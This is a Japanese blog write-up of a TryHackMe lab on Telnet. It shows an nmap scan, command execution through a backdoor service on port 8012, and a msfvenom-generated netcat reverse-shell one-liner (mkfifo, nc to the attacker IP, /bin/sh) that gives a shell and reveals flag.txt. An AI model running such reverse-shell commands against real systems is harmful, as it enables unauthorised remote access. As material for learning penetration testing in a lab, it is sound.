1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

TryHackMe Network Services Telnet Writeup

Posted at

はじめに

本記事は「TryHackMe:Network Services Telnet」のwriteupです。

問題

Telnetおよびリバースシェルに関する問題です。

回答

ポートスキャンします。
結果サービスはわかりませんがtcp/8012が公開されていることがわかりました。
また、BACKDOORSKIDYの単語が出ていることに注目しておきます。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.50.244
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 00:18 JST
Warning: 10.10.50.244 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.50.244
Host is up (0.26s latency).
Not shown: 59091 closed tcp ports (conn-refused), 6443 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8012/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8012-TCP:V=7.93%I=7%D=5/9%Time=64591304%P=x86_64-pc-linux-gnu%r(NUL
SF:L,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands
SF:\n")%r(GenericLines,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x
SF:20view\x20commands\n")%r(GetRequest,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x
SF:20\.HELP\x20to\x20view\x20commands\n")%r(HTTPOptions,2E,"SKIDY'S\x20BAC
SF:KDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r(RTSPRequest,2
SF:E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n"
SF:)%r(RPCCheck,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\
SF:x20commands\n")%r(DNSVersionBindReqTCP,2E,"SKIDY'S\x20BACKDOOR\.\x20Typ
SF:e\x20\.HELP\x20to\x20view\x20commands\n")%r(DNSStatusRequestTCP,2E,"SKI
SF:DY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r(He
SF:lp,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20command
SF:s\n")%r(SSLSessionReq,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to
SF:\x20view\x20commands\n")%r(TerminalServerCookie,2E,"SKIDY'S\x20BACKDOOR
SF:\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r(TLSSessionReq,2E,"
SF:SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r
SF:(Kerberos,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20
SF:commands\n")%r(SMBProgNeg,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x
SF:20to\x20view\x20commands\n")%r(X11Probe,2E,"SKIDY'S\x20BACKDOOR\.\x20Ty
SF:pe\x20\.HELP\x20to\x20view\x20commands\n")%r(FourOhFourRequest,2E,"SKID
SF:Y'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r(LPD
SF:String,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20com
SF:mands\n")%r(LDAPSearchReq,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x
SF:20to\x20view\x20commands\n")%r(LDAPBindReq,2E,"SKIDY'S\x20BACKDOOR\.\x2
SF:0Type\x20\.HELP\x20to\x20view\x20commands\n")%r(SIPOptions,2E,"SKIDY'S\
SF:x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands\n")%r(LANDesk
SF:-RC,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20comman
SF:ds\n")%r(TerminalServer,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20
SF:to\x20view\x20commands\n")%r(NCP,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\
SF:.HELP\x20to\x20view\x20commands\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 216.73 seconds

telnetコマンドで公開されているポートに対してログインを試みたところ成功しました。
しかし、HELPに記載されている通り、コマンドを実行しようとしても反応がありません。

┌──(kali㉿kali)-[~]
└─$ telnet 10.10.50.244 8012
Trying 10.10.50.244...
Connected to 10.10.50.244.
Escape character is '^]'.
SKIDY'S BACKDOOR. Type .HELP to view commands
.HELP
.HELP: View commands
 .RUN <command>: Execute commands
.EXIT: Exit
.RUN ls
.RUN exit

.RUNが実際に動いているか確かめます。
telnet接続元のターミナルで以下のコマンドを実行します。
tcpdumpは指定したトラフィックを監視するコマンドであり、今回はICMP、つまり、pingコマンドを待ち受けるようにしています。

sudo tcpdump ip proto \\icmp -i tun0

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump ip proto \\icmp -i tun0
[sudo] kali のパスワード:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

telnet接続先のサーバから接続元に向けてpingを打ってみます。

┌──(kali㉿kali)-[~]
└─$ telnet 10.10.50.244 8012
Trying 10.10.50.244...
Connected to 10.10.50.244.
Escape character is '^]'.
SKIDY'S BACKDOOR. Type .HELP to view commands
.RUN ping 10.8.120.61 -c 1

ICMPパケットの内容が出力されました。.RUNでシステムコマンドが実行できるようです。

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump ip proto \\icmp -i tun0
[sudo] kali のパスワード:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:44:07.885480 IP 10.10.50.244 > 10.8.120.61: ICMP echo request, id 1207, seq 1, length 64
00:44:07.885505 IP 10.8.120.61 > 10.10.50.244: ICMP echo reply, id 1207, seq 1, length 64

msfvenomでnetcatのリバースシェルを生成します。
msfvenomについては以下を参照ください。
https://qiita.com/wacker0231/items/0ec926951ffa5a4d197c

msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R

を実行するとmkfifoから始まるコマンドが得られます。
これをtelnet接続先サーバで実行すればshellを奪取できそうです。

┌──(kali㉿kali)-[~]
└─$ msfvenom -p cmd/unix/reverse_netcat lhost=10.8.120.61 lport=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 101 bytes
mkfifo /tmp/tdxziaz; nc 10.8.120.61 4444 0</tmp/tdxziaz | /bin/sh >/tmp/tdxziaz 2>&1; rm /tmp/tdxziaz

接続元サーバでnsコマンドで4444ポートで待ち受けます。

┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...

接続先サーバで先ほどmsfvenomで生成したリバースシェルを実行します。

┌──(kali㉿kali)-[~]
└─$ telnet 10.10.50.244 8012
Trying 10.10.50.244...
Connected to 10.10.50.244.
Escape character is '^]'.
SKIDY'S BACKDOOR. Type .HELP to view commands
.RUN mkfifo /tmp/tdxziaz; nc 10.8.120.61 4444 0</tmp/tdxziaz | /bin/sh >/tmp/tdxziaz 2>&1; rm /tmp/tdxziaz

すると接続元でshellが実行できるようになりました。
lsコマンドでフラグが記載されたファイルを見つけることができました。

┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.50.244: inverse host lookup failed: Unknown host
connect to [10.8.120.61] from (UNKNOWN) [10.10.50.244] 60020
ls
flag.txt
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?